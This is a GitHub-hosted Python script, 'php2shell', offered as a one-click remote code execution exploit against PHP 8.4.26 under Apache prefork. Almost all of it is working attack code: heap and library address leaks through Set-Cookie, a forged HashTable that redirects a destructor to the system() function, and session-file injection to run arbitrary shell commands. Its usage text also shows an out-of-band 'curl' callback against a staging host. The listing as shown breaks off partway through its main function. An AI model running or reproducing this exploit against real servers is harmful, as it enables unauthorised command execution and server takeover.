Repository navigation
Expand file tree
/
Copy pathphp_exploit_general.py
More file actions
executable file
·870 lines (788 loc) · 36.7 KB
/
Copy pathphp_exploit_general.py
File metadata and controls
executable file
·870 lines (788 loc) · 36.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
#!/usr/bin/env python3
"""
php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.
Default profile: official php:8.4.26-apache image (Apache 2.4.69).
Lab build (Apache 2.4.68, minimal PHP): use --profile lab.
Chain (all attacker traffic is plain HTTP):
stage 0 HTTP worker rotation
stage 1 Set-Cookie heap leak -> Zend MM chunk base
stage 2 Set-Cookie libphp leak -> libphp base (ZVAL_PTR_DTOR)
stage 3 upload_progress fake-ref -> pDestructor = zif_system
Requirements on the target:
display_errors=1, memory_limit=8M, max_input_vars=1000,
session.use_cookies=1, session.use_strict_mode=0,
session.upload_progress.enabled=1, single-worker prefork.
Three-phase operation against unknown (blind) targets:
Phase A fingerprint plain GET on -u: Server banner (Apache version, distro)
+ X-Powered-By (PHP version). No exploitation traffic.
Phase B offsets pick the build-keyed offsets file: offsets_dir is
searched for offsets-<phpver>-<distro>.env,
offsets-<phpver>.env, offsets.env. Each env file holds
hardcoded per-build offsets: ZIF_OFFSET, DTOR_OFFSET,
HTDATA_OFFSET and optional STAGE1_N/STAGE2_T/STAGE2_V/
STAGE3_CARRIER overrides.
Phase C verify-first for blind targets (no --proof-file/--fetch) the tool
fires a harmless probe first: the chain executes
`sleep N` and the fire is proven by response-timing
(no writes on the target; a miss kills at most one
worker). Only a confirmed probe is followed by the
real payload run.
Usage:
python3 php_exploit_general.py -u http://127.0.0.1:8088/index.php
python3 php_exploit_general.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
python3 php_exploit_general.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1
The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes. For a longer command, chain it
through a short shell trigger, e.g. `sh</out/c` (8 bytes).
Blind targets (single PHP page, no writable/served dirs — e.g. staging):
execution is blind; there is no in-band proof channel. Validate out-of-band
with a callback command delivered via --payload (arbitrary length):
python3 php_exploit_general.py -u https://staging/index.php \
--payload 'curl -k <collaborator-url>'
then confirm the DNS/HTTP interaction on the Collaborator side.
"""
from __future__ import annotations
import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import threading
import sys
import time
import urllib.parse
from collections import Counter
# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).
# They are relative to the libphp.so / Zend MM chunk base, so they do not
# depend on ASLR. Rebuilds can shift them; pass --zif-offset/--dtor-offset.
ZIF_OFFSET = 0x43A870 # zif_system
DTOR_OFFSET = 0x613C50 # ZVAL_PTR_DTOR (zval_ptr_dtor)
HTDATA_OFFSET = 0x6E0D8 # live 167-byte string used as fake HashTable
MAX_CMD = 14 # 167-byte carrier - 0x98 header - NUL
# bookworm (official php:8.4.26-apache) calibration, measured on the image
BOOKWORM_STAGE1_N = 841
BOOKWORM_STAGE2_T = 406
BOOKWORM_STAGE2_V = 16
BOOKWORM_HTDATA_OFFSET = 0x690D8
BOOKWORM_STAGE3_PADS = [(31, 31)] * 6
SID = b"attacksessionid0001"
PROBE_SLEEP = 4.0 # verify-first probe: system("sleep 4") timing oracle
DEFAULT_CMD = "id>/tmp/p1"
DEFAULT_PROOF = None # no file proof by default; use --proof-file/--fetch/--payload
_HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")
def build_multipart(parts, boundary: bytes) -> bytes:
out = bytearray()
for p in parts:
name = p["name"].encode()
out += b"--" + boundary + b"\r\n"
out += b'Content-Disposition: form-data; name="' + name + b'"'
if p.get("filename") is not None:
out += b'; filename="' + p["filename"].encode() + b'"'
out += b"\r\nContent-Type: application/octet-stream"
out += b"\r\n\r\n" + p["data"] + b"\r\n"
out += b"--" + boundary + b"--\r\n"
return bytes(out)
def read_offsets_file(path: str) -> dict[str, int]:
"""Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. from an offsets file."""
vals: dict[str, int] = {}
if not path:
return vals
try:
with open(path, "r", encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line or line.startswith("#") or "=" not in line:
continue
key, val = line.split("=", 1)
vals[key.strip()] = int(val.strip(), 0)
except (OSError, ValueError):
pass
return vals
def fingerprint(t: Target) -> dict:
"""Phase A: blind fingerprint from response headers only (no exploitation)."""
fp = {"php": None, "php_full": None, "apache": None, "distro": "unknown"}
h = t.headers()
m = re.search(r"PHP/(\d+\.\d+\.\d+)", h.get("x-powered-by", ""))
if m:
fp["php_full"] = m.group(1)
fp["php"] = ".".join(m.group(1).split(".")[:2])
srv = h.get("server", "")
m = re.search(r"Apache/([\d.]+)", srv)
if m:
fp["apache"] = m.group(1)
if "(Debian)" in srv:
fp["distro"] = "debian"
elif "(Ubuntu)" in srv:
fp["distro"] = "ubuntu"
return fp
def select_offsets_file(offsets_dir: str, fp: dict) -> str | None:
"""Phase B: pick the build-keyed offsets env file matching the fingerprint.
Search order: offsets-<phpver>-<distro>.env, offsets-<phpver>-<apache>.env,
offsets-<phpver>.env, offsets.env — first existing file wins. A Debian
banner also matches official-image builds; check the file's 'status'
comment before destructive use (verify-first is the safety net).
"""
cands = []
if fp.get("php_full"):
v = fp["php_full"]
d = fp.get("distro", "unknown")
cands += [f"offsets-{v}-{d}.env", f"offsets-{v}-{fp.get('apache') or 'x'}.env",
f"offsets-{v}.env"]
if fp.get("php"):
d = fp.get("distro", "unknown")
cands += [f"offsets-{fp['php']}-{d}.env", f"offsets-{fp['php']}.env"]
cands.append("offsets.env")
for c in cands:
p = os.path.join(offsets_dir, c)
if os.path.isfile(p):
return p
return None
def run_probe(args) -> int:
"""Phase C: self-invoke in probe mode (timing oracle, no payload, no writes).
Returns the probe run's exit code: 0 = plant fired (response delayed by the
sleep), 1 = no fire in the probe run's attempts.
"""
argv = [sys.executable, os.path.abspath(__file__),
"-u", args.url, "--probe-sleep", str(PROBE_SLEEP),
"--no-verify-first", "-q",
"--profile", args.profile, "--huge-mb", str(args.huge_mb),
"--timeout", str(max(60.0, args.timeout)),
"--retries", str(args.retries),
"--offsets-file", args.offsets_file, "--offsets-dir", args.offsets_dir]
for flag, val in (("--zif-offset", args.zif_offset),
("--dtor-offset", args.dtor_offset),
("--htdata-offset", args.htdata_offset)):
if val is not None:
argv += [flag, hex(val)]
try:
r = subprocess.run(argv, capture_output=True, timeout=900)
return r.returncode
except (OSError, subprocess.SubprocessError):
return 3
class Target:
def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
u = urllib.parse.urlsplit(url)
if u.scheme not in ("http", "https"):
raise ValueError("URL must be http:// or https://")
self.https = u.scheme == "https"
self.host = u.hostname or "127.0.0.1"
self.port = u.port or (443 if self.https else 80)
self.path = u.path or "/"
self.timeout = timeout
self.verbose = verbose
def log(self, msg: str) -> None:
if self.verbose:
print(msg, flush=True)
def _connect(self):
last = None
for _ in range(10):
try:
s = socket.create_connection((self.host, self.port), timeout=self.timeout)
if self.https:
ctx = ssl.create_default_context()
s = ctx.wrap_socket(s, server_hostname=self.host)
try:
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
except OSError:
pass
return s
except OSError as e:
last = e
time.sleep(0.3)
raise last # type: ignore[misc]
def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
timeout: float | None = None,
extra_headers: dict[str, str] | None = None) -> bytes:
extra = ""
for k, v in (extra_headers or {}).items():
extra += f"{k}: {v}\r\n"
hdr = (
f"POST {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"{extra}"
f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
f"Content-Length: {len(body)}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(timeout or self.timeout)
# Read concurrently with the upload: some exploit requests make the
# worker abort right after sending Set-Cookie, and a recv() that starts
# after the RST loses the already-buffered response.
data = bytearray()
def _reader() -> None:
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data.extend(chunk)
except OSError:
pass
reader = threading.Thread(target=_reader, daemon=True)
reader.start()
try:
try:
s.sendall(hdr)
mv = memoryview(body)
for off in range(0, len(body), 262144):
s.sendall(mv[off:off + 262144])
except OSError:
pass # the worker may abort while the body is still in flight
reader.join(timeout=(timeout or self.timeout) + 1.0)
return bytes(data)
finally:
s.close()
def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
hdr = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(self.timeout)
try:
s.sendall(hdr)
data = bytearray()
try:
while len(data) < read_cap:
chunk = s.recv(65536)
if not chunk:
break
data += chunk
except OSError:
pass
finally:
s.close()
head, _, body = bytes(data).partition(b"\r\n\r\n")
m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
return (int(m.group(1)) if m else 0), body
def headers(self, path: str | None = None) -> dict[str, str]:
"""GET path (default: self.path); return response headers as a dict."""
p = path or self.path
hdr = (
f"GET {p} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
"Connection: close\r\n"
"\r\n"
).encode()
s = self._connect()
s.settimeout(self.timeout)
try:
s.sendall(hdr)
data = bytearray()
try:
while len(data) < 65536:
chunk = s.recv(4096)
if not chunk:
break
data += chunk
if b"\r\n\r\n" in data:
break
except OSError:
pass
finally:
s.close()
head = bytes(data).split(b"\r\n\r\n", 1)[0]
out: dict[str, str] = {}
for line in head.split(b"\r\n")[1:]:
if b":" in line:
k, v = line.split(b":", 1)
out[k.strip().decode("latin1").lower()] = v.strip().decode("latin1")
return out
def parse_cookie(resp: bytes) -> bytes:
m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
if not m:
return b""
return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))
def chunk_base_from_cookie(raw: bytes) -> int:
"""Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
if len(raw) < 1000:
return 0
c: Counter[int] = Counter()
for i in range(len(raw) - 8):
v = int.from_bytes(raw[i:i + 8], "little")
if 0x500000000000 <= v < 0x800000000000:
c[v & ~0x1FFFFF] += 1
if not c:
return 0
base, count = c.most_common(1)[0]
return base if count >= 8 else 0
def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:
"""Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.
The page-aligned check is 4KB, not 2MB: the lab build happened to map
libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
at a 4KB boundary (e.g. base 0x...acdb000).
"""
if len(raw) < 16:
return 0
p = int.from_bytes(raw[8:16], "little")
if not (0x500000000000 <= p < 0x800000000000):
return 0
if p & 0xFFF != dtor_offset & 0xFFF:
return 0
base = p - dtor_offset
return base if base & 0xFFF == 0 else 0
class Exploit:
def __init__(self, target: Target, cmd: str, zif_offset: int = None,
dtor_offset: int = None, htdata_offset: int = None,
huge_mb: int = 12, verbose: bool = True, profile: str = "bookworm",
stage1_n: int = None, stage2_t: int = None, stage2_v: int = None,
stage3_carrier: int = None):
# profile-aware defaults: official-image constants vs lab-build constants
if zif_offset is None:
zif_offset = 0x465370 if profile == "bookworm" else ZIF_OFFSET
if dtor_offset is None:
dtor_offset = 0x65eb60 if profile == "bookworm" else DTOR_OFFSET
if htdata_offset is None:
htdata_offset = BOOKWORM_HTDATA_OFFSET if profile == "bookworm" else HTDATA_OFFSET
self.t = target
self.cmd = cmd.encode()
self.zif_offset = zif_offset
self.dtor_offset = dtor_offset
self.htdata_offset = htdata_offset
self.huge_mb = huge_mb
self.verbose = verbose
self.profile = profile
if profile == "bookworm":
# official php:8.4.26-apache (Debian 12, Apache 2.4.69)
self.stage1_n = BOOKWORM_STAGE1_N
self.stage2_t = BOOKWORM_STAGE2_T
self.stage2_v = BOOKWORM_STAGE2_V
self.stage3_pads = list(BOOKWORM_STAGE3_PADS)
self.stage3_carrier = True
else:
self.stage1_n = 892
self.stage2_t = 443
self.stage2_v = 1
self.stage3_pads = [(8, 7)] + [(7, 7)] * 5
self.stage3_carrier = False
# per-build overrides from the offsets env file (foreign builds)
if stage1_n is not None:
self.stage1_n = stage1_n
if stage2_t is not None:
self.stage2_t = stage2_t
if stage2_v is not None:
self.stage2_v = stage2_v
if stage3_carrier is not None:
self.stage3_carrier = bool(stage3_carrier)
# ---------- request primitives (shapes match tools/*.py) ----------
def deliver_payload(self, payload_lines: bytes) -> None:
"""Deliver an arbitrary-length payload WITHOUT any file-write primitive.
The upload-progress KEY value is stored raw in the session file. A value
containing newlines becomes lines in /tmp/sess_<sid>:
upload_progress_x <- prefix (sh noise)
<payload line(s)> <- executed by `sh /tmp/sess_<sid>`
|a:5:{...} <- serialized record (sh noise)
The producer's OOM abort skips the END-cleanup, so the file REMAINS on
disk after the request. Execution: chain cmd `sh</tmp/sess_a` (14 bytes).
"""
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"a"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS",
"data": b"x\n" + payload_lines + b"\n"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
def _big_field(self) -> dict:
return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}
def _file_part(self) -> dict:
return {"name": "f", "filename": "a.txt", "data": b"A" * 64}
def rotate(self) -> None:
"""Abort the current worker over HTTP; prefork forks a fresh one."""
self.t.log("[*] rotating worker over HTTP")
parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.3)
# Session-initializing B with no file part: pre-RINIT cleanup walks the
# corrupted heap and the child aborts.
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
read_cap=65536, timeout=20.0)
time.sleep(0.5)
def stage1(self) -> int:
"""Leak the Zend MM chunk base."""
parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(self.stage1_n):
val = (f"v{i:04d}" + "x" * 44)[:48]
parts.append({"name": str(1000 + i), "data": val.encode()})
forge = bytearray(b"A" * 79)
struct.pack_into("<Q", forge, 0x10, 0x1000) # forged zend_string len
forge[0x18] = ord("L")
parts.append({"name": "1999", "data": bytes(forge)})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=9 << 20)
return chunk_base_from_cookie(parse_cookie(resp))
def stage2(self) -> int:
"""Leak libphp base through a 56-byte HashTable page."""
parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
parts += [
{"name": "PHPSESSID", "data": b"\x00"},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
self._file_part(),
self._big_field(),
]
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
time.sleep(0.2)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
for i in range(983):
cnt = 16 if i == self.stage2_t else 1
for j in range(cnt):
parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})
resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=1 << 20)
return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)
def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
cmd = self.cmd
if len(cmd) > MAX_CMD:
raise ValueError(
f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
f"{MAX_CMD} (e.g. use 'sh</out/c')"
)
ht = bytearray(b"\x00" * 167)
# fake HashTable
struct.pack_into("<II", ht, 0x00, 1, 7) # gc: rc=1, IS_ARRAY
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", ht, 0x10, htdata + 0x20) # arData
struct.pack_into("<II", ht, 0x18, 1, 1) # nNumUsed/OfElements
struct.pack_into("<II", ht, 0x20, 8, 0) # nTableSize/pointer
struct.pack_into("<Q", ht, 0x28, 0) # nNextFreeElement
struct.pack_into("<Q", ht, 0x30, zif) # pDestructor
# fake execute_data at E = data+0x20
E = 0x20
struct.pack_into("<Q", ht, E + 0x00, 0) # opline
struct.pack_into("<Q", ht, E + 0x08, 0) # call
struct.pack_into("<Q", ht, E + 0x10, zif) # return_value
struct.pack_into("<Q", ht, E + 0x18, 0) # func
struct.pack_into("<Q", ht, E + 0x20, 0) # This.value
struct.pack_into("<I", ht, E + 0x28, 0) # This.u1.type_info
struct.pack_into("<I", ht, E + 0x2C, 1) # num_args = 1
struct.pack_into("<Q", ht, E + 0x30, 0) # prev_execute_data
struct.pack_into("<Q", ht, E + 0x38, 0) # symbol_table
struct.pack_into("<I", ht, E + 0x40, 0) # call_info
struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80) # arg1 value
struct.pack_into("<I", ht, E + 0x58, 6) # arg1 IS_STRING
# fake zend_string at data+0x80
struct.pack_into("<II", ht, 0x80, 1, 0x106) # gc rc=1, IS_STRING
struct.pack_into("<Q", ht, 0x88, 0) # h
struct.pack_into("<Q", ht, 0x90, len(cmd)) # len
ht[0x98:0x98 + len(cmd)] = cmd
ht[0x98 + len(cmd)] = 0
# fake reference (55 bytes) placed at R0-0x10
ref = bytearray(b"X" * 55)
struct.pack_into("<II", ref, 0x10, 1, 10) # IS_REFERENCE
struct.pack_into("<Q", ref, 0x18, htdata) # val.value
struct.pack_into("<Q", ref, 0x20, 0x307) # IS_ARRAY_EX
struct.pack_into("<Q", ref, 0x28, 0) # sources
return bytes(ht), bytes(ref)
def stage3(self, htdata: int, zif: int) -> None:
"""Write the fake reference over PS(http_session_vars) and execute."""
parts = [
{"name": "PHPSESSID", "data": b"a" * 19},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
]
specs = self.stage3_pads
for i, (nl, vl) in enumerate(specs):
name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
parts.append({"name": name, "data": b"V" * vl})
parts += [self._file_part(), self._big_field()]
extra = None
if self.profile == "bookworm":
# Keep PS(id) valid: php_session_initialize then leaves
# send_cookie=0, so B's init does not allocate the Set-Cookie
# header at R0+16 (which would clobber val.type).
extra = {"Cookie": "PHPSESSID=" + "a" * 32}
self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
extra_headers=extra)
time.sleep(0.3)
ht, ref = self._fake_payload(htdata, zif)
parts = [
{"name": "PHPSESSID", "data": SID},
{"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
]
if self.stage3_carrier:
# The bookworm reference is still alive (rc=2). A 15-byte
# bin-40 zend_string lands its chars exactly at
# PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
# low 7 bytes of val.value to the fake HashTable, and let the
# high byte stay 0x00 (canonical 0x00007f... pointer).
carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
parts.append({"name": "g00", "data": carrier})
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
else:
for i in range(15):
parts.append({"name": f"a{i:030d}"[:31], "data": ht})
for i in range(2):
parts.append({"name": f"f{i:02d}", "data": ref})
self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
read_cap=65536, timeout=30.0)
def main() -> int:
ap = argparse.ArgumentParser(
description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
formatter_class=argparse.ArgumentDefaultsHelpFormatter,
)
ap.add_argument("-u", "--url", required=True,
help="target PHP page, e.g. http://127.0.0.1:8088/index.php")
ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"command to execute (max {MAX_CMD} bytes)")
ap.add_argument("--proof-file", default=DEFAULT_PROOF, help="read this local file after exploitation; '' disables")
ap.add_argument("--fetch", default="",
help="GET this path afterwards (for commands writing to webroot)")
ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of zif_system in libphp.so (default: offsets file or 0x{ZIF_OFFSET:x})")
ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
help=f"offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or 0x{DTOR_OFFSET:x})")
ap.add_argument("--profile", choices=("lab", "bookworm"), default="bookworm",
help="target build profile: bookworm (official image, default) or lab (Apache 2.4.68)")
ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
help="chunk-relative offset of the 167-byte live string")
ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
help="read libphp offsets from this file ('' to disable)")
ap.add_argument("--payload", metavar="CMD", default=None,
help="arbitrary-length command delivered via session-file injection "
"(needs no write primitive; runs as `sh /tmp/sess_a`); "
"overrides --cmd. Proof: write to a served path + --fetch, or OOB.")
ap.add_argument("--payload-sid", default="a",
help="short SID for the payload session file (/tmp/sess_<sid>)")
ap.add_argument("--huge-mb", type=int, default=12,
help="size of the OOM field; must exceed memory_limit")
ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
ap.add_argument("--no-pre-rotate", action="store_true",
help="skip the initial worker rotation")
ap.add_argument("--no-retry-rotate", action="store_true",
help="do not rotate between failed stage attempts")
ap.add_argument("--retries", type=int, default=3,
help="attempts per leak stage; stage 3 uses retries+2")
ap.add_argument("-q", "--quiet", action="store_true")
ap.add_argument("--fingerprint", action="store_true",
help="Phase A only: print the header fingerprint of -u and exit")
ap.add_argument("--offsets-dir", default=os.path.join(_HERE, "out"),
help="directory holding build-keyed offsets-*.env files")
ap.add_argument("--probe-sleep", type=float, default=None, metavar="N",
help="Phase C probe channel: execute `sleep N` (14-byte-safe) and "
"prove the fire by stage-3 response timing instead of a proof "
"file; overrides --cmd/--payload")
ap.add_argument("--verify-first", dest="verify_first", action="store_true",
default=None,
help="fire a harmless --probe-sleep chain first and abort before the "
"real payload if the plant never fires (default: auto-on for "
"blind targets, i.e. no --proof-file/--fetch)")
ap.add_argument("--no-verify-first", dest="verify_first", action="store_false")
args = ap.parse_args()
# Phase C probe mode: the command is the sleep itself (7 bytes, no writes)
if args.probe_sleep is not None:
args.payload = None
args.cmd = "sleep %g" % args.probe_sleep
if len(args.cmd.encode()) > MAX_CMD:
ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")
t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)
# ---- Phase A: fingerprint (headers only) ----
fp = fingerprint(t)
t.log(f"[*] fingerprint: PHP={fp['php_full'] or 'hidden'} "
f"Apache={fp['apache'] or '?'} distro={fp['distro']}")
if args.fingerprint:
print(fp)
return 0
# ---- Phase B: build-keyed offsets file (explicit --offsets-file wins) ----
if "--offsets-file" not in sys.argv:
auto = select_offsets_file(args.offsets_dir, fp)
if auto:
args.offsets_file = auto
t.log(f"[*] offsets file matched by fingerprint: "
f"{os.path.relpath(auto, _HERE)}")
else:
t.log(f"[!] no fingerprint-matched offsets file in {args.offsets_dir}; "
f"falling back to {os.path.relpath(args.offsets_file, _HERE)}")
local_offsets = read_offsets_file(args.offsets_file)
if args.htdata_offset is None:
args.htdata_offset = local_offsets.get(
"HTDATA_OFFSET",
BOOKWORM_HTDATA_OFFSET if args.profile == "bookworm" else HTDATA_OFFSET)
if args.zif_offset is None:
args.zif_offset = local_offsets.get(
"ZIF_OFFSET", 0x465370 if args.profile == "bookworm" else ZIF_OFFSET)
if args.dtor_offset is None:
args.dtor_offset = local_offsets.get(
"DTOR_OFFSET", 0x65eb60 if args.profile == "bookworm" else DTOR_OFFSET)
ex = Exploit(t, args.cmd, zif_offset=args.zif_offset,
dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
huge_mb=args.huge_mb, verbose=not args.quiet, profile=args.profile,
stage1_n=local_offsets.get("STAGE1_N"),
stage2_t=local_offsets.get("STAGE2_T"),
stage2_v=local_offsets.get("STAGE2_V"),
stage3_carrier=local_offsets.get("STAGE3_CARRIER"))
if local_offsets:
t.log(f"[*] offsets loaded from {args.offsets_file}")
t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
f"htdata=0x{args.htdata_offset:x}")
# ---- Phase C: verify-first — harmless timing probe before destructive fire ----
blind = not (args.proof_file or args.fetch)
if args.verify_first is None:
args.verify_first = blind and args.probe_sleep is None
if args.verify_first:
t.log(f"[*] verify-first: probing plant with harmless `sleep {PROBE_SLEEP:g}` "
f"timing oracle (no writes on target)")
rc = run_probe(args)
if rc != 0:
print("PROBE_FAILED (plant never fired in the probe run; target not "
"hijackable with current offsets — rotate/retry, verify the offsets "
"file, or skip with --no-verify-first)",
file=sys.stderr)
return 2
t.log("[+] probe confirmed: plant fires on this target — firing real payload")
# arbitrary-length payload: delivered via the bug's own session-file write,
# executed by the chain as `sh</tmp/sess_<payload-sid>` (fits 14 bytes)
if args.payload:
pl = args.payload.encode()
if b"\n" not in pl:
pl = b"id > /var/www/html/proof.txt 2>&1\ncd /tmp && (" + pl + b")"
ex.deliver_payload(pl)
